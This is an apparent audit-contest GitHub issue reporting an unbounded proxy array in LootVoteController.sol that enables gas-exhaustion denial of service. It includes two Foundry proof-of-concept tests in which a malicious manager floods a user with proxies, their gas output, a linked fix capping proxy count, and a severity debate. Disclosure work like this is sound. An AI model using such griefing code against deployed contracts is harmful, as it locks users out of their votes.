Unbounded proxy length in LootVoteController can cause function to become unusable

[hats-bug-reporter[bot]]

Github username: @erictee2802 Twitter username: 0xEricTee Submission hash (on-chain): 0x3ae2c165fcb7496616237c22e0f59abef3e4fedfb12d62aeafc904082777fb2f Severity: medium

Description: Description\

The proxy length in LootVoteController.sol is unbounded, and the length of proxy is looped in LootVoteController::_clearExpiredProxies. Each time the function LootVoteController::setVoterProxy is called, a new proxy will be added to the currentUserProxyVoters array. If at some point there are now a large number of proxies, iterating over them will become very costly and can result in a gas cost that is over the block gas limit. This will mean that a transaction cannot be executed anymore, causing these functions in a state of DoS.

Attack Scenario\

Looping over unbounded array can result in a state of DoS.

Attachments

NA

1. Proof of Concept (PoC) File

• Install foundry.

• Rename the original test folder to typescript-test and create a new folder name test.

• Add forge-std module to lib with command: git submodule add https://github.com/foundry-rs/forge-std lib/forge-std

• Add remappings.txt file in Vote-Flywheel folder with the following content:

  @ensdomains/=node_modules/@ensdomains/
  @nomiclabs/=node_modules/@nomiclabs/
  @openzeppelin/=node_modules/@openzeppelin/
  @solidity-parser/=node_modules/@solidity-parser/
  ds-test/=lib/forge-std/lib/ds-test/src/
  eth-gas-reporter/=node_modules/eth-gas-reporter/
  forge-std/=lib/forge-std/src/
  hardhat/=node_modules/hardhat/

• AddLootVoteController.t.sol file within the test folder with the following content:

pragma solidity 0.8.20;

import {LootVoteController} from "../LootVoteController.sol";
import {Test, console} from "forge-std/Test.sol";
import {HolyPalPower} from "../HolyPalPower.sol";

contract HolyPaladinToken {
        struct UserLock {
        // Amount of locked balance
        uint128 amount; // safe because PAL max supply is 10M tokens
        // Start of the Lock
        uint48 startTimestamp;
        // Duration of the Lock
        uint48 duration;
        // BlockNumber for the Lock
        uint32 fromBlock; // because we want to search by block number
    }

    struct TotalLock {
        // Total locked Supply
        uint224 total;
        // BlockNumber for the last update
        uint32 fromBlock;
    }

    function getUserLock(address user) external view returns (UserLock memory) {
        return UserLock(1,1708151785,604800, 19245756); // DUMMY VALUE AS THIS IS FOR TESTING PURPOSE ONLY.
    }

}

contract LootVoteControllerTest is Test {

    LootVoteController public controller;
    address public user;
    address public malicious_manager;
    address public benign_manager;
    HolyPalPower public _hPalPower;
    HolyPaladinToken public hPal;

    function setUp() public {
        hPal = new HolyPaladinToken();
        _hPalPower = new HolyPalPower(address(hPal)); 
        user = makeAddr("USER"); // Dummy user for testing.
        malicious_manager = makeAddr("MALICIOUS_MANAGER");
        benign_manager = makeAddr("BENIGN_MANAGER"); 
        controller = new LootVoteController(address(_hPalPower));

    }

    function test_DOSinSetVoterProxy() public {
        vm.startPrank(user);
        controller.approveProxyManager(benign_manager);
        controller.approveProxyManager(malicious_manager);
        vm.stopPrank();

        vm.startPrank(malicious_manager);
        uint256 WEEK = 604800;

        for (uint i; i <= 5000; i++ ) {
            controller.setVoterProxy(user, address(uint160(i + 1)), 1, block.timestamp + WEEK);
        }

        vm.stopPrank();

        vm.startPrank(benign_manager);
        uint gasBefore = gasleft();

        controller.setVoterProxy(user,address(0x666),1,block.timestamp + WEEK);
        uint gasAfter = gasleft();

        console.log("Gas Used for calling setVoterProxy: ", gasBefore - gasAfter);
        vm.stopPrank();

    }

}

• Run the test with command : forge test --match-test test_DOSinSetVoterProxy -vv:

Foundry Result:

Running 1 test for contracts/test/LootVoteController.t.sol:LootVoteControllerTest
[PASS] test_DOSinSetVoterProxy() (gas: 8775765976)
Logs:
  Gas Used for calling setVoterProxy:  3451669

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 74.51s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
mac@macs-MacBook-Pro Vote-Flywheel % 

2. Revised Code File (Optional)

Consider setting a upper bound of proxy that an approved manager can add. Additionally, consider allow users to disapprove previously approved managers in case they try to act maliciously.

[0xbitsurfer]

have you calculate how many proxies need to be created before having DoS-ed?

IMO, It's pretty irrational and very unlikely user purposely create a lot of proxy up until it dos-ed, for example, using your PoC, creating > 5000 proxy is unreasonable act, also diluting their vote power since their maxPower amount would be very small.

unreasonable act doesn't considered as an issue, it's user mistake.

[0xEricTee]

I have attached a slightly modified PoC as follows, the PoC below showcased when users delegate himself to a malicious manager, the manager can create a bunch of useless proxies that expired instantly after the startTimestamp to DoS the user from using setVoterProxy & clearUserExpiredProxies in the future as the contract trying to loop through all the expired proxies and remove them 1 by 1 which can be very gas consuming. I think this issue can also be categorised as griefing attack.

pragma solidity 0.8.20;

import {LootVoteController} from "../contracts/LootVoteController.sol";
import {Test, console} from "forge-std/Test.sol";
import {HolyPalPower} from "../contracts/HolyPalPower.sol";

contract HolyPaladinToken {
        struct UserLock {
        // Amount of locked balance
        uint128 amount; // safe because PAL max supply is 10M tokens
        // Start of the Lock
        uint48 startTimestamp;
        // Duration of the Lock
        uint48 duration;
        // BlockNumber for the Lock
        uint32 fromBlock; // because we want to search by block number
    }

    struct TotalLock {
        // Total locked Supply
        uint224 total;
        // BlockNumber for the last update
        uint32 fromBlock;
    }

    function getUserLock(address user) external view returns (UserLock memory) {
        return UserLock(1,1708151785,604800, 19245756); // DUMMY VALUE AS THIS IS FOR TESTING PURPOSE ONLY.
    }

}

contract LootVoteControllerTest is Test {

    LootVoteController public controller;
    address public user;
    address public malicious_manager;
    address public benign_manager;
    HolyPalPower public _hPalPower;
    HolyPaladinToken public hPal;

    function setUp() public {
        hPal = new HolyPaladinToken();
        _hPalPower = new HolyPalPower(address(hPal)); 
        user = makeAddr("USER"); // Dummy user for testing.
        malicious_manager = makeAddr("MALICIOUS_MANAGER");
        benign_manager = makeAddr("BENIGN_MANAGER"); 
        controller = new LootVoteController(address(_hPalPower));

    }

    function test_DOSinSetVoterProxy() public {
        vm.startPrank(user);
        controller.approveProxyManager(benign_manager);
        controller.approveProxyManager(malicious_manager);
        vm.stopPrank();

        vm.startPrank(malicious_manager);
        uint WEEK = 604800;
        uint starttimestamp = 1708151785;

        // uint256 userlocktime = ((1708151785 + 604800) / WEEK) * WEEK;

        for (uint i; i <= 1000; i++ ) {
            controller.setVoterProxy(user, address(uint160(i + 1)), 1, starttimestamp + 1);
        }

        vm.stopPrank();

        vm.warp(starttimestamp + 2);
        vm.startPrank(benign_manager);
        uint gasBefore = gasleft();

        controller.setVoterProxy(user,makeAddr("TEST"),1,block.timestamp + WEEK);

        uint gasAfter = gasleft();

        console.log("Gas Used for calling setVoterProxy: ", gasBefore - gasAfter);
        vm.stopPrank();

    }
}

Foundry Result:

Running 1 test for test/LootVoteController.t.sol:LootVoteControllerTest
[PASS] test_DOSinSetVoterProxy() (gas: 392493638)
Logs:
  Gas Used for calling setVoterProxy:  3844080

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.33s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

[0xbitsurfer]

if I give someone access to manage (delegate) my Bank account, it's my fault if he transfer out or did something maliciously. Bank would not take any responsibility, they will just blame me assigning the manager wrongly.

Delegate: a person sent or authorized to represent others; entrust (a task or responsibility) to another person.

In all audit platform I know, a user's fault is not categorized as a valid issue.

[0xEricTee]

Suppose a previously approved manager getting compromised, I don't think this is considered user's fault and user cannot do anything for example revoke the approval back.

[0xbitsurfer]

in that case, yes, the Bank should allow me to remove my manager when I don't trust him again. In the current code, there is not exist this feature yet. I think someone already mentioned the revoke approval of manager issue

[Kogaroshi]

This issue is indeed in-between DOS & user mistake. Just to prevent this case from happening, we add a max length for proxies for each users : https://github.com/PaladinFinance/Vote-Flywheel/pull/2/commits/10205ff199fea3f147aed950a4399d637f249e72

[0xEricTee]

@Kogaroshi You forgot to finalise and rate this issue. Thanks

[0xbitsurfer]

@Kogaroshi with all due respect, I think for a root cause which initially coming from user mistake is not valid for a Medium (if not, in most of audit platform). Even with impact DoS is Medium, but likelihood this issue happen is very low. Thus IMO, a low severity might be more suitable.

for you reference:

• in Code4rena : https://docs.code4rena.com/awarding/judging-criteria/severity-categorization#conditional-on-user-mistake
• in Sherlock : https://docs.sherlock.xyz/audits/judging/judging#vii.-list-of-issue-categories-that-are-not-considered-valid

what is your opinion on this @PlamenTSV?

[Kogaroshi]

I tagged it as medium because as I said in my previous message, it's in-between user mistake and DOS, but in the end if the scenario occurs it does indeed create a DOS situation where the user can't clear their proxies, and so can't vote or perform any action with their votes. And this is the type of medium issue as described in the scope of the competition, so I tagged it as such. If you wish to contest the severity of this report, I will accept the verdict of external parties and adjust it based on the result.

[PlamenTSV]

This issue does no suffice to the usual criteria for medium severity. Short-term DOS is the final consequence and it is created under extremely specific circumstances which are user controlled - the assignment of a manager, the manager turning malicious and the user keeping him as a manager?, the addition of 5000 proxies? Also keep in mind that now that the logic got fixed for the array handling, it will never iterate over all 5000 since the array will get smaller on each iteration where it deletes an expired proxy. It is self-inflicted damage and should be treated as such, you cannot protect users from themselves. And as a final argument, a user can always have the manager removed/another manager added. LOW severity imo. Will respect any further opinion.

[0xEricTee]

@PlamenTSV Don't agree with the point "keep in mind that now that the logic got fixed for the array handling", the future fix shouldn't be used as an argument. :)